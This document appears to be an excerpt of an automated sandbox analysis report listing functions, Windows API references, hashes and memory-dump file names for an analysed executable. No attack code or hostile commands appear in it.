Opcode ID: 0e739d31772a395dab13472248fdbade556b136d12e7837296ebec5d68a17119
Instruction ID: 6bc48535c34cae31235c75fa3ac76ab91c3ad30e13db2e6a3e991317a35ed32d
Opcode Fuzzy Hash: 0e739d31772a395dab13472248fdbade556b136d12e7837296ebec5d68a17119
Instruction Fuzzy Hash: 8AE01770E1110DC5FD6C32A214263FB04840F197B0E1C1B7CAE35092D7B918CE9B8120

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B978C Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

__vcrt_FlsAlloc.LIBVCRUNTIME ref: 000000013F2B9797
__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 000000013F2B97C7

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Alloc__vcrt___vcrt_uninitialize_ptd
String ID:
API String ID: 3765095794-0
Opcode ID: 6b5ec4c6cd7f0baa5d3f7175a74b30a0589591f587f1918e98c5ab1e0d2ef736
Instruction ID: cdacb8d06106556be5ef8a3f5d2529fe2cfd2b6b141e19d004e269d5b47ad157
Opcode Fuzzy Hash: 6b5ec4c6cd7f0baa5d3f7175a74b30a0589591f587f1918e98c5ab1e0d2ef736
Instruction Fuzzy Hash: 4FE0BFB4D04649D5FA647F369C453D637A06B45350FA0063EE826866E2DA28CF57E701

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B4C78 Relevance: 2.5, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 000000013F2B4CAF

Part of subcall function 000000013F2A4D3C: wcscpy.LIBCMT ref: 000000013F2A4D7E

wcscpy.LIBCMT ref: 000000013F2B4CD1

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 93782bb743bf98bc08d0833e6c61ecd22693001662f042d55035a30427c11cef
Instruction ID: 0581c926f8b9576845981747889a821bc52e3d73cec90af707df348a62f11ba9
Opcode Fuzzy Hash: 93782bb743bf98bc08d0833e6c61ecd22693001662f042d55035a30427c11cef
Instruction Fuzzy Hash: 48216AB0A25B85D5FB00EB64EC913D73760EB95744F81113EA45D8B2A7EA2CC71BCB10

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C1A84 Relevance: 2.5, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000000013F2C1A9A
GetLastError.KERNEL32 ref: 000000013F2C1AAC

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: e3635b7cea3a3b50ac01d0ebb9d073b96dd5648f5856d7e6baa1fb7098396ee9
Instruction ID: cebb8ccb586500dd1ca97065bd361d903f16a647c880bf4961f62f9090b4183c
Opcode Fuzzy Hash: e3635b7cea3a3b50ac01d0ebb9d073b96dd5648f5856d7e6baa1fb7098396ee9
Instruction Fuzzy Hash: 88E01274F02541C2FF18EBF298163E722D16F44B85F05813D99064B351EE2CC7838784

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C029C Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000000013F2C02C4

Part of subcall function 000000013F2C0454: GetModuleHandleExW.KERNEL32 ref: 000000013F2C0474
Part of subcall function 000000013F2C0454: GetProcAddress.KERNEL32 ref: 000000013F2C048A
Part of subcall function 000000013F2C0454: FreeLibrary.KERNEL32 ref: 000000013F2C04AF

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: a28b435e1cb4af45411b9b6ddea98d7579c3164ea4b21b5d1857de89c8c0bbda
Instruction ID: 6b82e0b08c93b208061d1f3784b7d51c94f83e8e830b97d07ac21bdb270b67bc
Opcode Fuzzy Hash: a28b435e1cb4af45411b9b6ddea98d7579c3164ea4b21b5d1857de89c8c0bbda
Instruction Fuzzy Hash: C4419E31E11651C3FF68EB9599903EA23A1B790B84F44503EE94A976E1DF3DCA43C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B5E2C Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000000013F2B5ED8: GetModuleHandleW.KERNEL32(?,?,?,000000013F2B5E47,?,?,?,000000013F2B61FA), ref: 000000013F2B5EFF

DloadProtectSection.DELAYIMP ref: 000000013F2B5E9D

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: DloadHandleModuleProtectSection
String ID:
API String ID: 2883838935-0
Opcode ID: ad02eca424f4e9049d01ba775b0cc7f366c794684b9e133b7d8470b2de1cdc2e
Instruction ID: 9a2dd2793ae09496001d8304c8dc40a75e1895183f4c1fae9a17720ecc6ae3b3
Opcode Fuzzy Hash: ad02eca424f4e9049d01ba775b0cc7f366c794684b9e133b7d8470b2de1cdc2e
Instruction Fuzzy Hash: 5B111E71E0060AC5FB51AB55EA823D623B0B718788F94003EED0A5B2F6DB38CB97C314

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29DC28 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 000000013F29DDB0: FindFirstFileW.KERNELBASE(?,?,?,?,?,000000013F29DC57), ref: 000000013F29DDFA
Part of subcall function 000000013F29DDB0: FindFirstFileW.KERNEL32 ref: 000000013F29DE2B
Part of subcall function 000000013F29DDB0: GetLastError.KERNEL32 ref: 000000013F29DE3A

FindClose.KERNELBASE ref: 000000013F29DC60

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 9045ae54a1564c21f2e510cde9f4d833ceb3cbc7bccef2113bc42fea38d961fa
Instruction ID: 22b1c3a68abfde8766264dafe10f5e30e375c4d914860e2b72f7cfd70bfb9cd9
Opcode Fuzzy Hash: 9045ae54a1564c21f2e510cde9f4d833ceb3cbc7bccef2113bc42fea38d961fa
Instruction Fuzzy Hash: 7EF0A4329046C0C5EB119BB591403EB33519715BF8F4843389EF80B2CBCA94C1AA9720

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C1C94 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 000000013F2C1CD2

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c65caaf763c3ab33a1535183b9383c6055f8091b4164183f1201565ffa92954d
Instruction ID: cfaf7b7d5fe149c52b7e58c6e862984d1ad485f143f6b1357c8fede6c0d6c334
Opcode Fuzzy Hash: c65caaf763c3ab33a1535183b9383c6055f8091b4164183f1201565ffa92954d
Instruction Fuzzy Hash: 99F03070F06644C5FE647BE259133E711816F84BB4F29473CAE26863D2DA2CCB439216

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29CB58 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE ref: 000000013F29CB71

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 843bb97532330659db1f64e266b982f4e5cdcb856968631ea0d8171677117ef8
Instruction ID: 2068d3c0a7082cc95c763b84bb6d9267965150543aff021e851caa6cf3e3ae61
Opcode Fuzzy Hash: 843bb97532330659db1f64e266b982f4e5cdcb856968631ea0d8171677117ef8
Instruction Fuzzy Hash: 41E01272B60564C2EF24AB7AD86179A2320EB8DFC8F4850358E0D47761CF25C5978A04

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C1A20 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

__vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 000000013F2C1A4B

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: __vcrt_uninitialize_ptd
String ID:
API String ID: 1180542099-0
Opcode ID: 8ef332255f6b8c6c4f741829608c0e63700b8186080fd5d381217a6fa3415887
Instruction ID: c12f5e404f58ce3b8d5757b5de221f827252a1a9dc25330cde6e262ada963bfa
Opcode Fuzzy Hash: 8ef332255f6b8c6c4f741829608c0e63700b8186080fd5d381217a6fa3415887
Instruction Fuzzy Hash: A8E017B0D06A00C4FD68ABB149833EB12502B24310FD01A7FD02A4B2D3EA28CB47A611

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29C95C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 000000013F29C96E

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: ebe3dc7161292714e69aba335fc43f49376bb13a634a5a82b6ea72084c8ac808
Instruction ID: 8ce85580f6e07efd88ad2735087965b0b70e5aed2442b516cf3bb35ca2e772f6
Opcode Fuzzy Hash: ebe3dc7161292714e69aba335fc43f49376bb13a634a5a82b6ea72084c8ac808
Instruction Fuzzy Hash: 60D01233D42480D2FD14577598513BE2350AB43B75FB40724D27A926E1C719C6A7A310

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B507C Relevance: 1.5, APIs: 1, Instructions: 12windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32 ref: 000000013F2B50A6

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: 1b7d7cadcd6623d218b54f6ffec4c470525b694835c4cdf97ebde3ad9db0cc9f
Instruction ID: 5f45b1a7f4b1851c07d3950fe511351220e4102c3ef145096e89cae4c37e9138
Opcode Fuzzy Hash: 1b7d7cadcd6623d218b54f6ffec4c470525b694835c4cdf97ebde3ad9db0cc9f
Instruction Fuzzy Hash: 76D0A7B0F00744C2F7109705A8197AA0311B766B80F100239CD0A1A795CE2DC7278740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2CB0F0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 000000013F2CB100

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 5f7fd86475b964785d6987c2939e51e80304e2894a8b91591868821742242dc8
Instruction ID: 7fbae578d5464e2b5bf6785e269fa7cd1c70964bd67da44b3bef8df7d2fa13fe
Opcode Fuzzy Hash: 5f7fd86475b964785d6987c2939e51e80304e2894a8b91591868821742242dc8
Instruction Fuzzy Hash: 86D0C976E22E04C6FF049F55FC853A22260B778B5EF620A2CD01909261CFBCC25B8710

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B122C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE ref: 000000013F2B1230

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: c610d1a9c67004ed5c02865e722ec5e3a38e9a735714e81327301ce1d77fe7a9
Instruction ID: 2d70c808488b25bc8a0fe23f023d983d308f5cb9cbf8a8c46a739f5fc6039e85
Opcode Fuzzy Hash: c610d1a9c67004ed5c02865e722ec5e3a38e9a735714e81327301ce1d77fe7a9
Instruction Fuzzy Hash: 67A00124F52581C2EA082BB69C8634A52697B99B11F958068950591260DA1C86AB5B12

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2C1AC4 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6fe7383ab83a134d2ad18e3cddc5ab59d7a07864f2eeddf8e09232de20e9074a
Instruction ID: b05bf239eb2309f6b4c7e92216337735847a8798e7ca5d945531de05fbc8d563
Opcode Fuzzy Hash: 6fe7383ab83a134d2ad18e3cddc5ab59d7a07864f2eeddf8e09232de20e9074a
Instruction Fuzzy Hash: 5B01A970F05680C0FE689BE26A633FB11919F48BE0F59A23D6D154B2DAFD28C753C601

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F29C620 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 000000013F29C648

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 760b79e1028f6c46a4e72fb90bb68dc594781e66e65f09b218abdfffe4dfe5ea
Instruction ID: c5debf21b576737c6a4f68d0ce0e65f64c9f5cbbe1e768163cb21f267a7c4d12
Opcode Fuzzy Hash: 760b79e1028f6c46a4e72fb90bb68dc594781e66e65f09b218abdfffe4dfe5ea
Instruction Fuzzy Hash: 64F0AF32A44681C5FF658F20E0403EB2660D396BB8F696328D738061D8CB24CAABC740

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000000013F2B3000 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013F2913D0: GetDlgItem.USER32 ref: 000000013F291420
Part of subcall function 000000013F2913D0: SetWindowTextW.USER32 ref: 000000013F29143C

SendDlgItemMessageW.USER32 ref: 000000013F2B30BB
EndDialog.USER32 ref: 000000013F2B30D5

Strings

%s %s, xrefs: 000000013F2B31DD
REPLACEFILEDLG, xrefs: 000000013F2B3032

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Item$DialogMessageSendTextWindow
String ID: %s %s$REPLACEFILEDLG
API String ID: 1217692187-439456425
Opcode ID: d89536f130e1dbb92d0e560ce195c0b660b0c5494af5aa1269ff318024cab618
Instruction ID: c2d2572df8efcbaedada7b79222060b11c88d4f9776587a4d1b0ec3178d7cba7
Opcode Fuzzy Hash: d89536f130e1dbb92d0e560ce195c0b660b0c5494af5aa1269ff318024cab618
